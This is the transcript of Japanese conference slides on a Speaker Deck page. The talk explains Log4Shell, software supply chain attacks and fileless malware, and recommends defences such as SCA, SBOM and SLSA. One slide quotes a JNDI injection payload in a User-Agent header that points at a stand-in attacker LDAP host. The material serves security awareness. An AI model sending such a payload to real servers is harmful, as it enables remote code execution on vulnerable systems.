Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を...
Search
kitaji0306
October 27, 2024
Technology
0
410
端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を理解しよう
2024-10-27 に開催された JJUG CCC 2024 Fall の登壇資料です。
(デモ部分はスクショに差し替えてます)
kitaji0306
October 27, 2024
Tweet
Share
More Decks by kitaji0306
See All by kitaji0306
セキュリティにおける暗号の基礎とこれからの話
kitaji0306
0
400
Other Decks in Technology
See All in Technology
衛星運用をソフトウェアエンジニアに依頼したときにできあがるもの
sankichi92
1
210
関数型プログラミングで 「脳がバグる」を乗り越える
manabeai
2
220
事例で学ぶ!B2B SaaSにおけるSREの実践例/SRE for B2B SaaS: A Real-World Case Study
bitkey
1
270
TLSから見るSREの未来
atpons
2
190
How Do I Contact HP Printer Support? [Full 2025 Guide for U.S. Businesses]
harrry1211
0
130
ポストコロナ時代の SaaS におけるコスト削減の意義
izzii
1
190
[ JAWS-UG千葉支部 x 彩の国埼玉支部 ]ムダ遣い卒業!FinOpsで始めるAWSコスト最適化の第一歩
sh_fk2
2
150
クラウド開発の舞台裏とSRE文化の醸成 / SRE NEXT 2025 Lunch Session
kazeburo
1
400
データ基盤からデータベースまで?広がるユースケースのDatabricksについて教えるよ!
akuwano
3
150
第4回Snowflake 金融ユーザー会 Snowflake summit recap
tamaoki
1
330
Amplify Gen2から知るAWS CDK Toolkit Libraryの使い方/How to use the AWS CDK Toolkit Library as known from Amplify Gen2
fossamagna
0
150
第64回コンピュータビジョン勉強会「The PanAf-FGBG Dataset: Understanding the Impact of Backgrounds in Wildlife Behaviour Recognition」
x_ttyszk
0
130
Featured
See All Featured
Statistics for Hackers
jakevdp
799
220k
Bootstrapping a Software Product
garrettdimon
PRO
307
110k
No one is an island. Learnings from fostering a developers community.
thoeni
21
3.4k
Scaling GitHub
holman
460
140k
Save Time (by Creating Custom Rails Generators)
garrettdimon
PRO
31
1.3k
I Don’t Have Time: Getting Over the Fear to Launch Your Podcast
jcasabona
32
2.4k
Product Roadmaps are Hard
iamctodd
PRO
54
11k
Art, The Web, and Tiny UX
lynnandtonic
299
21k
Raft: Consensus for Rubyists
vanstee
140
7k
The MySQL Ecosystem @ GitHub 2015
samlambert
251
13k
Building Adaptive Systems
keathley
43
2.7k
Fantastic passwords and where to find them - at NoRuKo
philnash
51
3.3k
Transcript
端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を理解しよう JJUG CCC 2024 Fall 北島 悠 #jjug_ccc #jjug_ccc_i
アジェンダ • 自己紹介 • Log4Shellから約3年どんな脆弱性だったか • ソフトウェアサプライチェーン攻撃 • リモートから操作されるイメージ •
デモ • まとめ • 最後に
自己紹介 セキュリティアーキテクト(名乗ってます) • セキュリティしか勝たん • プリセールス、人材育成、啓蒙活動などなど • @kitaji0306 北島 悠(キタジー)
Log4Shellから約3年どんな脆弱性だったか
どんな脆弱性だったか • 2021年12月10日 くらいから話題となった • Javaの有名ログライブラリApache Log4j2 起因 •
サーバ内部でコード(コマンド)実行可能 リモートコード実行 (RCE:Remote Code Execution)
当時の全社メール 2021年12月10日(金) SNSで情報拡散 画像引用元: JPCERT/CC:Apache Log4j2のRCE脆 弱性(CVE-2021-44228)を狙う攻撃観測 2021年12月13日(月)15:57
攻撃の一連の流れ LDAPを用いた攻撃の流れと各ポイントでの対策( GovCERT.chの記事より 概要図を引用) 外部から指定 可能なパラメー タやヘッダを利 用 User-Agent:
${jndi:ldap://evil.xa/x} 攻撃者が準備した LDAPサーバ Base64エンコード済 みのSerializeされた Javaオブジェクト Deserializeされた Javaオブジェクト の実行 JNDI Lookupという仕 様で解析されLDAP サーバへ通信
技術要素確認 • JNDI(Java Naming and Directory Interface) ◦ 外部リソース(LDAP等)
に接続する仕組を提供 • LDAP(Lightweight Directory Access Protocol) ◦ ディレクトリ(テキスト)情報 と通信するプロトコル • Serialize(シリアライズ) ◦ オブジェクト をbyte形式(テキストも可)に可逆変換
攻撃された具体例 画像引用:マインクラフト公式サイト (https://www.minecraft.net/ja-jp)
Log4shellという脆弱性の恐ろしいところ • 高リスクの脆弱性(CVSSスコア:10.0も有り) ◦ リモートコード実行 はシステム侵入の起点にもなる • パッチより先に攻撃方法のPoCが公開された ◦
アプリケーションで即時防御不可能なゼロデイ攻撃 • 多数のライブラリに暗黙的に内包されていた ◦ アプリの影響範囲特定が難しい ソフトウェアサプライチェーンの課題
ソフトウェアサプライチェーン攻撃
主にサプライヤーを経由する攻撃のこと サプライチェーン攻撃とは 大企業 取引先 海外子会社 強固なセキュリティで直 接攻撃は困難 セキュリティ対策の甘
い関連企業を攻撃 間接的に攻撃 攻撃者
ソフトウェアサプライチェーン攻撃とは 監 視 運 用 デプロイ コード ビルド テスト 計 画 リリース
Dev Ops 脆弱コードを仕込む ゼロデイ攻撃 API連携先から攻撃 依存パッケージから攻撃 脆弱なコンテナイメージ テスト支援ツールから攻撃 主に各工程で利用するOSSに依存した攻撃
どうしたらOSSを安全に利用出来る? 早い段階でのリスク発見と対策が必要 • SCA(ソフトウェア構成分析) ◦ 脆弱性スキャン による脆弱なライブラリの検知 • SBOM(ソフトウェア部品票)
◦ ソフトウェアサプライチェーンの可視化 • SLSA(Supply-chain Levels for Software Artifacts) ◦ 開発工程の成熟度 を測るセキュリティフレームワーク
リモートから操作されるイメージ
ファイル実行で動作 (従来のマルウェア) 仕様書.docx … 仕様書.docx .exe ファイル名を長くし て拡張子を隠す
(偽の拡張子は表 示される) 気づかないで実行
コマンドを受信して動作 (ファイルレスマルウェア) PC(Windows) PC内部のPowerShell C&C (コマンド&コントロール)サーバ
攻撃者 Officeファイルやブ ラウザの脆弱性を 利用してスクリプトを 埋め込む スクリプトから PowerShellを起動 C&Cサーバに接続 マルウェアをダウンロー ドして活動開始 ① ② ③ ④
デモ
正当な理由なく ウイルス作成、実行、不正アクセスは 犯罪です。 駄目絶対!! と、その前に
デモの登場人物及び環境 • Attacker(攻撃者) ◦ AWS EC2 ▪ ここからリモート操作する(C&Cサーバ)
• Victim(被害者) ◦ ウイルス対策ソフトの入ったWindows11(このPC) ▪ Java開発者がOSSのライブラリを利用したアプリを開発中
デモのシナリオ • 1:Attacker ◦ サーバで接続待ち受けコマンド実行 • 2:Victim
◦ ぬるぽライブラリを使った関数のテストを実行 ▪ マルウェアモドキをダウンロードしてC&Cサーバに接続 • 3:Attacker ◦ ぬるぽライブラリを実行したPCのコンソールを操作
デモ画面へGO
None
None
まとめ
まとめ • Log4Shellは非常に恐ろしい脆弱性だった ◦ 攻撃の仕組み を理解するだけでも有用 • ソフトウェアサプライチェーン攻撃対策 ◦ 開発工程早期のセキュリティ対策
が有用 • ツール(SSHやRDP)不要でリモート操作可能 ◦ 対策ソフト以外に各自のセキュリティ意識も重要 自分たちのソフトウェアを自分たちで守る
最後に
みんなの学びを少しでも公開すると 新たな気づきを得る人が増えます。 どこでも良いので アウトプット してみましょ!!